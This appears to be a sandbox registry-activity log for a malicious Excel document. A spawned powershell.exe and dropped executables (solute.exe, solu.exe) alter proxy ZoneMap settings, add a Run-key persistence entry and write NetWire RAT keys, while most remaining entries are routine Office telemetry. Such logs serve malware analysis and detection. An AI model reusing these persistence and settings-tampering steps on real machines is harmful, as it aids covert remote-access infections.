(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History
Operation:	write	Name:	CachePrefix
Value: Visited:
(PID) Process:	(1948) powershell.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	ProxyBypass
Value: 1
(PID) Process:	(1948) powershell.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	IntranetName
Value: 1
(PID) Process:	(1948) powershell.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 1
(PID) Process:	(1948) powershell.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 0
(PID) Process:	(2752) solute.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	ProxyBypass
Value: 1
(PID) Process:	(2752) solute.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	IntranetName
Value: 1
(PID) Process:	(2752) solute.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	UNCAsIntranet
Value: 1
(PID) Process:	(2752) solute.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:	write	Name:	AutoDetect
Value: 0
(PID) Process:	(1740) solu.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:	write	Name:	solu
Value: C:\Users\admin\AppData\Roaming\solu\solu.exe
(PID) Process:	(1740) solu.exe	Key:	HKEY_CURRENT_USER\Software\NetWire
Operation:	write	Name:	HostId
Value: solu
(PID) Process:	(1740) solu.exe	Key:	HKEY_CURRENT_USER\Software\NetWire
Operation:	write	Name:	Install Date
Value: 2020-07-24 20:55:51
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Security\Trusted Documents
Operation:	write	Name:	LastPurgeTime
Value: 26593736
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{B866D7AE-7C99-4C20-AA98-278FC044FB98}
Operation:	write	Name:	4
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{B866D7AE-7C99-4C20-AA98-278FC044FB98}
Operation:	write	Name:	Categories
Value: 57020000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSTagIds0
Value: 5804129,17846737,18409363,17696988,8758344,17339781,17634580,7668685,18658649,18375312,18948102,7214608,18428691,9319450,17126295,18658648,17322183,18384724,5850062,18658650,18674530,18637650,16920930,20789191,17311449,17698821,18409416,7668686,22131214,18948101,7398615,19978122,20026645,17182941,7668692,18711811,22131171,7440607,19153728,17182981,17182942,4859234,18384801,25514583,17322188,17331930,19543138,5601374,17146274,7668683,5898847,8263521,5850584,17622912,8254547,22070208,23729926,18633496,17182980,8988293,18474530,8697678,17922253,4317338,7649375,17372928,21030619,16859363,6636695,17322181,9176926,17956946,5850122,24466059,8448079,6366290,5850463,6690465,17064074,7649377,5850305,5850582,17425358,19223073,8709129,8750272,18917267,5898845,17182979,6166345,17846738,17885409,17182943,23729931,7459348,17322184,6636694,5850583,22131201,17846749,7218753,8430030,5810308,17182982,18970382,22595280,5850061,5898851,17331926,17331923,7668682,7668681,17846753,17698820,7668693,17331927,17846750,17331929,17127502,6137435,6170083,23459486,17127501,17698822,8988294,17846730,17106064,17698823,17846747,17846734,7398614,18948169,22853700,17110992,17846735,17846748,17846736,19261452,19261450,19261453,19261451,6341763,7116053,6366291,18716634,17610659,18716635,17372899,17914001,17102418,18917269,6029780,8750242,17913997,17913998,17913999,17914000,4289286,7463684,17914002,17914003,22872910,5898849,24466061,17962391,5898880,8433728,5898881,5898884,22929427,8701660,18917328,18917326,18949600,18917268,17578125,18917271,22131169,18917330,18949601,25514584,18970383,22595279,22131208,17322179,18208672,22131207,17127511,22131213,8750241,22853699,5850525,22929425,5587867,23414153,4564173,17127509,16815750,18208656,7690258,8263520,22083550,7690253,22872911,7463105,18647262,19978123,25514585,17962392,5601367,25514582,7966755,6647824,17573643,7868952,17445651,17106059,17445650,17106060,17106065,17106063,19744898,17962113,18625879,36467677,19531353,5601379,7202269,23978014,7168707,6059089,5601366,17110988,8709120,18441314,8747207,17311443,18208657,19174148,22349186,9037324,18633497,17311450,8996805,4859233,17969938,18208715,18208705,18208658,17311446,8709078,8709086,8709089,18621250,8709081,20248016,16860185,8750274,7214607,16843347,17339214,20489431,17618826,18384725,7690256,19744899,19732354,5888003,36467808,19732353,7690254,19543137,18375313,18384802,18647260,18647259,18647261,20026646,7657413,7649378,7657414,17842627,8447777,16815754,18970381,19198081,17045407,17045408,8430031,8254544,6301592,17425365,24131419,17322180,17322182,17322187,22929429,8758345,36292435
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSCategoriesSeverities
Value: 827 15,1001 15,1000 15,999 15,226 15,1282 50,1338 50,1338 10,1249 10,1039 15,998 15,1282 10,831 15,1249 15,1338 15,1282 15,829 15,1128 15,291 15,1622 50,850 15,828 15,830 15,1255 15,974 15,670 15,671 15,1002 15,669 15,70 50,2086 15,2087 15,2088 15
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common
Operation:	write	Name:	SessionId
Value: 967B24270C88214EB672906428A39DFF
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3
Operation:	write	Name:	Last
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3\0
Operation:	write	Name:	FilePath
Value: officeclient.microsoft.com\C0E5D08C-4B40-44F8-AC52-044B8C0E498A
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3\0
Operation:	write	Name:	StartDate
Value: A0C23EEBFC61D601
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3\0
Operation:	write	Name:	EndDate
Value: A082A815C662D601
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3\0
Operation:	write	Name:	Properties
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\WebServiceCache\AllUsers\officeclient.microsoft.com\config16--lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3\0
Operation:	write	Name:	Url
Value: https://officeclient.microsoft.com/config16/?lcid=1033&syslcid=1033&uilcid=1033&build=16.0.12026&crev=3
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\Internet\WebServiceCache
Operation:	write	Name:	LastClean
Value: 905F48EBFC61D601
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ClientTelemetry\RulesLastAudienceReported
Operation:	write	Name:	excel.exe
Value: Production
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified
Operation:	write	Name:	excel.exe_queried
Value: 054B1B5F00000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified
Operation:	write	Name:	excel.exe
Value: Fri, 24 Jul 2020 20:56:36 GMT
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe
Operation:	write	Name:	RulesEndpoint
Value: https://nexusrules.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.12026.20264&ClientId={D61AB268-C26A-439D-BB15-2A0DEDFCA6A3}&OSEnvironment=10&MsoAppId=1&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12026.20264&
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe
Operation:	delete value	Name:	RulesEndpoint
Value: https://nexusrules.officeapps.live.com/nexus/rules?Application=excel.exe&Version=16.0.12026.20264&ClientId={D61AB268-C26A-439D-BB15-2A0DEDFCA6A3}&OSEnvironment=10&MsoAppId=1&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12026.20264&
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
Operation:	write	Name:	4
Value: 0
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ETWMonitor\{F562BB8E-422D-4B5C-B20E-90D710F7D11C}
Operation:	write	Name:	Categories
Value: 0602000007020000170200000B020000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSTagIds0
Value: 8758344,17134338,34968335,20039442,21378256,19200086,19972417,18409363,40920709,5804129,36487516,36274764,20312793,23979203,18658649,18375312,17634580,17126295,9319450,7214608,18428691,23738461,18948102,21313610,18658648,5850062,18384724,18658650,17650967,21378211,16920930,20789191,18637650,18674530,18405138,41736099,17698821,17650969,17311449,51675359,18409416,23738463,18948101,36517339,17182941,24406167,20026645,19978122,21313507,17376418,18711811,22131171,38040274,19153728,41976736,17182981,20998160,4859234,17182942,36487498,18384801,17146274,19200088,18400093,7692557,19543138,51196380,23738454,38929627,5898847,8263521,17622912,5850584,19182147,8254547,22070208,18633496,23729926,17182980,8988293,19933261,18474530,595964484,20998164,21378246,17922253,4317338,7649375,19182146,34968340,19182148,16859363,6636695,9176926,17956946,18970753,24466059,5850122,6366290,8448079,38013077,5850463,19539223,18400091,7649377,17064074,5850305,5850582,17425358,8709129,19223073,8750272,5898845,18917267,18970755,17182979,17334863,6166345,38062236,17885409,17182943,23729931,7459348,36487502,6636694,5850583,21378252,36274760,7218753,37048725,8430030,36283595,24498246,20998163,5810308,21313503,17182982,18970382,19200082,22595280,21313611,21313506,5850061,5898851,40921045,17698820,17846753,19805648,17846750,18400076,19200087,6137435,25036311,23459486,22623970,6170083,24498245,19200084,595956369,17698822,8988294,37365058,17846730,17106064,17698823,17183040,23979205,18405136,19677907,18948169,17110992,22853700,19261452,135022598,36507861,19261450,25036315,38293842,18401416,36274768,6341763,7116053,21378255,6366291,21561487,17610659,21313504,18970761,38062237,18917269,50890328,19200080,8750242,19693830,4289286,26019932,7463684,18405130,5898849,17962391,24466061,19933262,5898880,5898881,5898884,20312797,22929427,8701660,18917328,36487495,24933760,18917326,25228039,19230863,18949600,40920589,595964483,18917268,17578125,18917271,34198662,20492502,22131169,18917330,18949601,18970383,22595279,22131208,18208672,25036312,22131207,8750241,20770843,22853699,19805646,22853712,5850525,5587867,22929425,23414153,16815750,18208656,34968341,7690258,8263520,7690253,38293841,19200035,7463105,19978123,18647262,21378240,5601367,17962392,7966755,6647824,25036310,17573643,7868952,17445651,17106059,595964451,17445650,19200065,17106060,17106065,36487504,18400083,17106063,19744898,40920708,17962113,18625879,21378247,7202269,23979201,23978014,40921218,18405142,7168707,595956371,5601366,17110988,8709120,18441314,36274757,8747207,17311443,18208657,22349186,18633497,9037324,21378254,17311450,40921221,8996805,4859233,17969938,19182149,18208715,17184068,18208705,37308099,18208658,17311446,18400081,8709078,22074074,8709086,8709089,50890327,36487497,18621250,8709081,20248016,16860185,8750274,7214607,38040271,16843347,17339214,20489431,17618826,17334865,18384725,7690256,19744899,19732354,5888003,595956368,23979200,19732353,7690254,23205313,19543137,18375313,19252294,18384802,18647260,18647259,18647261,20026646,7657413,7649378,7657414,17842627,34968342,8447777,16815754,18970381,19198081,17650971,17045407,18679566,19693829,17045408,595964448,8430031,8254544,34198423,20998158,6301592,17425365,24131419,19677900,40921313,8758345,36292435,17634578,18400089,36761792,50890251,34968338,34968337,34968339,23738455,34968589,36274763,20027008,20027009,23738458,5850306,20979747,21378249,21030802,595955848,19790027,17650968,51196381,5850307,17650970,6366030,21014468,20998161,6366028,41484365,20730712,36517340,20998159,6366025,6366039,50405897,18405147,19200078,18400095,21014467,21014465,23738462,595956365,20998157,18401413,18401414,21313537,18401415,9242009,21313536,21378210,21378243,21378248,21378241,21378253,24470550,36274765,38293833,21378245,5850503,21587081,21587082,24991179,24991180,41158543,51196379,18638031,21313609,17184025,36274762,24511183,17184070,18400075,36487496,18400087,18405132,23738459,19200083,18405134,18405140,18405144,22058587,23643035,20484631,18970757,18970759,18970763,39965824
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSTagIds1
Value: 19437717,21030738,36274761,21034758,36495773,37889366,17134337,37627806,38355400,595964482,25227928,24404955,23738456,24933761,25227929,23738460,24498243,40921166,592446983,19200034,19200075,19200064,19200076,19200077,19200081,25036313,20312798,19200085,36274758,36274766,36274759,36274767,25228040,36274756,40920586,50890261,19805647,19805655,19805645,23979213,20833951,40920534,23979204,595955846,23979210,595940420,40920576,40921180,36283598,40920410,36283600,50890311,50890144,20039441,50890201,40921312,19952736,36487503,36487509,36487501,36487512,19200142,19252293,19200146,19685471,24404956,24470607,25036314,38040268,38040275,595964481,595952657,595964449,38040273,38040272,595955844,595955845,595955847,595953629,595956366,595956367,595956370,595956364,595939597
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSCategoriesSeverities
Value: 827 15,1001 15,2159 10,1000 15,1338 10,1338 50,999 15,226 15,1282 50,1249 10,998 15,1039 15,831 15,1282 10,1249 15,1338 15,1282 15,829 15,1128 15,291 15,850 15,1622 50,828 15,1255 15,830 15,974 15,2159 6,670 15,671 15,1002 15,669 15,70 50,2086 15,2087 15,2088 15,1584 50
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Property
Operation:	write	Name:	0018C001283874D9
Value: 0100000001000000D08C9DDF0115D1118C7A00C04FC297EB010000004C05B62B45500545AA457E6379A941950000000002000000000010660000000100002000000063C86DE7907E20B0D2731EC6877BB6CD5D7BC9511EA194921F43ECE290BBC0B8000000000E800000000200002000000024FE0871E0B6566C6F6004EC6871E7C4D2D5231524549FE83697133D22258AB480000000626201585D93BCB051841CD26C2590C96DFA1FCE6D0CA635C3A70F415D458AB1C96FD12F6F59D89112899E41B4761DDA6F9289DC24483F2A4829EF8CAEB602136621E957CD71DD2109010CD43694A96FAC08E23EEE576C28D560E5232272E7CF10F14D490AD3ADB7FD82F7DF2B74537C6ECFB394B3753DE67910F6A5E86FBBC7400000008EC13A0DFDD83FD07DAC4CD6D111DE6F7681D2A0765DCEE9E64E26B652261AB45669BAAE218BBF087CA18FD3FBE53F146BA2E392F3BB4DF8D21879CF8A595F59
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}
Operation:	write	Name:	DeviceTicket
Value: 0100000001000000D08C9DDF0115D1118C7A00C04FC297EB010000004C05B62B45500545AA457E6379A94195000000000200000000001066000000010000200000008E28F806D6AA77283A4BF7B331118090D598CF7F345E6ABA4724DB79071FF892000000000E800000000200002000000047FBBFD9273A74747D7B48D3385169180EFF22566251F3956D33D097B1D60B52F003000084E7F52889EF3ED6744EA117D6BE09A8B0B31DBA6EB5BCF6512858C189D21CA6D1B4BE4CC96F535A3C7B893169E35F0416CCA1E04178A2DAC2672B068CB672D1EB20552B4A6C540572B82E82D03492E9BEF791E6450B97886C552E9D32F8050EA0F6CE1D42F7D6BE845EDB8D4964B7B6430B0C6DC6EF1CA325A9179B8ACA6472104AD767D48600464F8C7A0775C274553D454C0FA3B64BABF68E89C8FFBBDBDB058BC6C6317AD77B0AB9670CE7B9DB2AB4C1DF5D8992FFAAE1C8489DFC2FAF7EA2C502BA419EFF35D6B5616B068EA2BD31E82C1B159DA343B6210B4AB393BDEF7B2C1ECF639A2BE9BDE58FDF0390D2B74D5F00273F7C6B611ACE2DA108E6F852CA6635AA06EB5CA3AF4F9985930047268D0332235D96A365A9C368FA2C735B13ED68D648BA0FAA1ECF6AD974EFC5B6B197585330E9A67F0C6592DB369BAAA2B883360CA6798AF5F207598335433E0A5BA7B14A91B9C83EA6A540AC5ABC4522600723571C3BFBB3F4E34CADB0E20BAC676A713F2CF928D2E119934A85E451AE82CC489AA94AE1BF6D495299F4EFEA1CCFC084741B23DAB71F726B96C84C560CC8B3BEF2E82DB34A8923C69F0492272D3B89948FEDD6668784CA495220E184B7B0502F76AA22A7A5C02D8AD90874023E35E08B466A1238269FABE23CA798905175C9C502D346174877D5687F21E030760ED58FCF8D1047C25841DC001241B1B757CF0C684E071C685A5C2B8A54CD723A6E1147F73EA27FA231C5732B8EBB7DDCB415B9EA235AE98C3AF021C30F15382C84390EE0A97546E46E34954C549A6BF05612CC6D490BA39EFD42199C8BE0793C79C22DC7520825AF59F0F57F566E24765C4024268B8EE41895BA4B4F9067EF43E2CC0E73A2D6F83E0F2E7347158813FB0626FA78E562BD08AE48423902069EA867662438EC0E392F8867E59251FB592BEE7F2980161DED0846F2212C8EEE7B24759B4E3B1F6EA46D05629EBD19DA94F9AD23C43C52D2E027F204AED1466E535A0C9EAF6D49821305C0C6D85130632AB73F420AEBC9E9444905EE841107D66D8546464A7522CBF47CCCFA1B220C8208ED7398F6822F5F791EF263181FB74B559568C53E6A52E1F2EFE1A16D13A25AF6E8215A0F8C237617E30DAF378D783AD6400E4ECFD448665C463C11480183403C04E55F396BCD56318E730027650D32EBA8FE0732AC1AA937186AD39FE798719CFB3366D3019FEA33CD61A85114332C0C316DD6B70C8458F2B235FB909AECB334FD65C8963F5B24E5034D3F7AD136F4BF2460705D898CB0A15E36CA026CCC8785CB7332B133A69D20E39F9A97E14493ADB96A752BF932505339BF1772D7D03D72B3D2F931447F446991ADE31C208B8B93B324041FC5FD9576253EE050D1553A98B90389F1193B76CFF35E0D125F15336EC39D4000000066392F06F7A004F5BE6E34FC72C0BCB1FD0A1F0653C67371DA5E9464EB9892F8988FC49BD450BDBA9468D7D6C920C06AB2702762EA59EFB9A8FF3A807E637130
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}
Operation:	write	Name:	DeviceId
Value: 0018C001283874D9
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{2B379600-B42B-4FE9-A59C-A312FB934935}
Operation:	write	Name:	ApplicationFlags
Value: 1
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\Common\ClientTelemetry\Volatile
Operation:	write	Name:	MsaDevice
Value: t=GwAWAbuEBAAUzMHTehVs2ui3xDZ0BSZ6MDJ92usOZgAAEEp3URMdZ39u5f7BD0g2GAbgAD/mY+/2oOHH2gDRadUjooD4jMkUqeQeq8GZEZPL5CGR3gQimO1EsBwR1TehhtH3fE3ZAFkKWlw8I9utU8JwqwNb+FJdIjaNdk8ArcOCgiD5M3ZVTGwbwSZ72OMZ62FwSqS5JXV8cYlT2M+oosFNK3yIioFNLOEPmCkZ5mHv+EN+7HtJ+MXI1o5T3YHTBKUD5kjqRtBOXfFyB3wJ5ujZMUX9wnxZVStSCG6avMnRjC/q4QGgXjaVp7Wdq/BlO2M31FTCwtD6WIbCuiBPIPrT0Y/zKl0Tc15fsN7C0F3/FRkGGgE=&p=
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSTagIds0
Value: 17134338,8758344,34968335,21378256,20039442,40920709,18409363,19972417,19200086,36487516,5804129,20312793,36274764,23979203,18375312,18658649,17634580,17126295,9319450,18428691,7214608,23738461,21313610,18948102,18658648,5850062,18384724,21378211,17650967,18658650,20789191,16920930,18637650,18674530,41736099,18405138,17698821,17650969,17311449,51675359,23738463,18409416,36517339,18948101,24406167,17182941,20026645,19978122,17376418,21313507,22131171,18711811,19153728,38040274,41976736,17182981,20998160,4859234,17182942,18384801,36487498,17146274,7692557,18400093,19200088,19543138,51196380,23738454,38929627,5898847,8263521,5850584,17622912,8254547,19182147,22070208,23729926,18633496,17182980,19933261,8988293,595964484,18474530,20998164,17922253,21378246,4317338,7649375,19182146,34968340,16859363,19182148,6636695,9176926,17956946,5850122,24466059,18970753,8448079,6366290,38013077,5850463,17064074,7649377,18400091,19539223,5850305,5850582,17425358,19223073,8709129,8750272,18917267,5898845,18970755,17182979,6166345,17334863,38062236,17885409,17182943,23729931,7459348,36487502,6636694,5850583,21378252,36274760,7218753,8430030,37048725,24498246,36283595,5810308,20998163,17182982,21313503,18970382,19200082,22595280,21313611,5850061,21313506,5898851,40921045,17846753,17698820,18400076,17846750,19805648,25036311,6137435,19200087,23459486,6170083,22623970,24498245,595956369,19200084,17698822,8988294,37365058,17846730,17106064,17698823,17183040,23979205,18405136,19677907,18948169,22853700,17110992,19261452,36507861,135022598,25036315,19261450,38293842,18401416,36274768,6341763,7116053,21378255,6366291,17610659,21561487,21313504,18970761,18917269,38062237,50890328,8750242,19200080,19693830,26019932,4289286,7463684,18405130,5898849,19933262,24466061,17962391,5898880,5898881,5898884,20312797,22929427,8701660,36487495,18917328,18917326,24933760,25228039,595964483,40920589,18949600,19230863,18917268,17578125,18917271,20492502,34198662,22131169,18917330,18949601,18970383,22595279,22131208,25036312,18208672,22131207,8750241,20770843,22853699,19805646,5850525,22853712,22929425,5587867,23414153,16815750,18208656,7690258,34968341,8263520,38293841,7690253,7463105,19200035,18647262,19978123,21378240,17962392,5601367,7966755,25036310,6647824,17573643,7868952,17445651,595964451,17106059,17445650,17106060,19200065,17106065,36487504,17106063,18400083,40920708,19744898,17962113,18625879,21378247,23979201,7202269,23978014,7168707,18405142,40921218,595956371,5601366,17110988,8709120,18441314,36274757,8747207,17311443,18208657,22349186,9037324,18633497,40921221,17311450,21378254,8996805,4859233,17969938,18208715,19182149,18208705,17184068,37308099,18208658,17311446,8709078,18400081,8709086,22074074,8709089,36487497,50890327,18621250,8709081,20248016,16860185,8750274,38040271,7214607,16843347,17339214,20489431,17618826,17334865,18384725,7690256,19744899,19732354,595956368,5888003,23979200,19732353,7690254,23205313,19543137,19252294,18375313,18384802,18647260,18647259,18647261,20026646,7657413,7649378,7657414,17842627,8447777,34968342,16815754,18970381,19198081,17650971,17045407,19693829,18679566,595964448,17045408,8430031,8254544,6301592,20998158,34198423,17425365,24131419,19677900,40921313,8758345,36292435,17634578,18400089,36761792,50890251,34968338,34968337,34968339,34968589,23738455,36274763,20027008,20027009,5850306,23738458,595955848,21030802,21378249,20979747,17650968,19790027,5850307,51196381,17650970,21014468,6366030,20998161,6366028,20730712,41484365,20998159,36517340,6366025,6366039,50405897,18405147,21014467,18400095,19200078,21014465,595956365,23738462,20998157,18401413,18401414,21313537,18401415,9242009,21313536,21378210,21378243,21378248,21378241,24470550,21378253,38293833,36274765,21378245,5850503,21587081,21587082,24991179,24991180,41158543,51196379,18638031,21313609,17184025,36274762,17184070,24511183,36487496,18400075,18400087,18405132,23738459,18405134,19200083,18405140,18405144,22058587,23643035,20484631,18970757,18970759,18970763,39965824
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSTagIds1
Value: 19437717,21030738,36274761,21034758,36495773,37889366,17134337,37627806,595964482,38355400,24404955,25227928,23738456,24933761,25227929,24498243,23738460,40921166,592446983,19200034,19200075,19200064,19200076,19200077,25036313,19200081,20312798,19200085,36274758,36274766,36274759,25228040,36274767,36274756,40920586,50890261,19805647,19805655,19805645,23979213,40920534,20833951,595955846,23979204,595940420,23979210,40920576,40921180,36283598,40920410,36283600,50890311,20039441,50890144,50890201,40921312,19952736,36487503,36487509,36487501,36487512,19200142,19252293,19200146,19685471,24404956,24470607,25036314,38040268,38040275,595964481,595952657,595964449,38040273,38040272,595955844,595955845,595955847,595953629,595956366,595956367,595956370,595956364,595939597
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\excel.exe\ULSMonitor
Operation:	write	Name:	ULSCategoriesSeverities
Value: 827 15,2159 10,1001 15,1000 15,1338 10,1338 50,1282 50,226 15,999 15,1249 10,1039 15,998 15,1282 10,831 15,1249 15,1338 15,1282 15,829 15,1128 15,291 15,1622 50,850 15,828 15,830 15,1255 15,974 15,670 15,2159 6,671 15,1002 15,669 15,70 50,2086 15,2087 15,2088 15,1584 50
(PID) Process:	(1740) solu.exe	Key:	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
Operation:	delete value	Name:	solu
Value: C:\Users\admin\AppData\Roaming\solu\solu.exe
(PID) Process:	(1740) solu.exe	Key:	HKEY_CURRENT_USER\Software\NetWire
Operation:	delete key	Name:
Value:
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:	write	Name:	418A073AA3BC3475
Value: FC04000000000000040004000102070000000000010000004AAA8100350000006B507E000100000087DE8300030000008A838500D6250000A19F5E0001000000F4A4C30001000000FED37A0008000100000006000000007D7500F004000056737D00130100006B507E001A0000008A838500200000009829B70001000000AB19BB0006000000B087B40013010000E6C53100010004000000040000001A9CB2000100050000004200000016F0B200020008000000B63C7D06025FB500D07E01008A838500010009000000212F00008A838500010064000000889000008A8385000500650000001C0000001C955C00E80300008A8385007F0000009CA6B4003E010000A205060074F20100E6C53100020066000000A86100008A8385007E000000A2050600030067000000B63C7D06025FB500E02E00008A83850060000000A2050600020068000000E80300008A838500D3030000A20506000200690000008B030000025FB500384A00008A83850001006A000000B80B00008A838500
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\General
Operation:	write	Name:	LastAutoSavePurgeTime
Value: 26593741
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\26337AA2
Operation:	write	Name:	26337AA2
Value: 04000000E4110000090000004100500050002D0045005800430045004C00000000000000000002600000000000000000000000000000A27A3326A27A33260000000000000000000000000000000000000000
(PID) Process:	(4580) EXCEL.EXE	Key:	HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\Resiliency\DocumentRecovery\26337AA2
Operation:	write	Name:	26337AA2
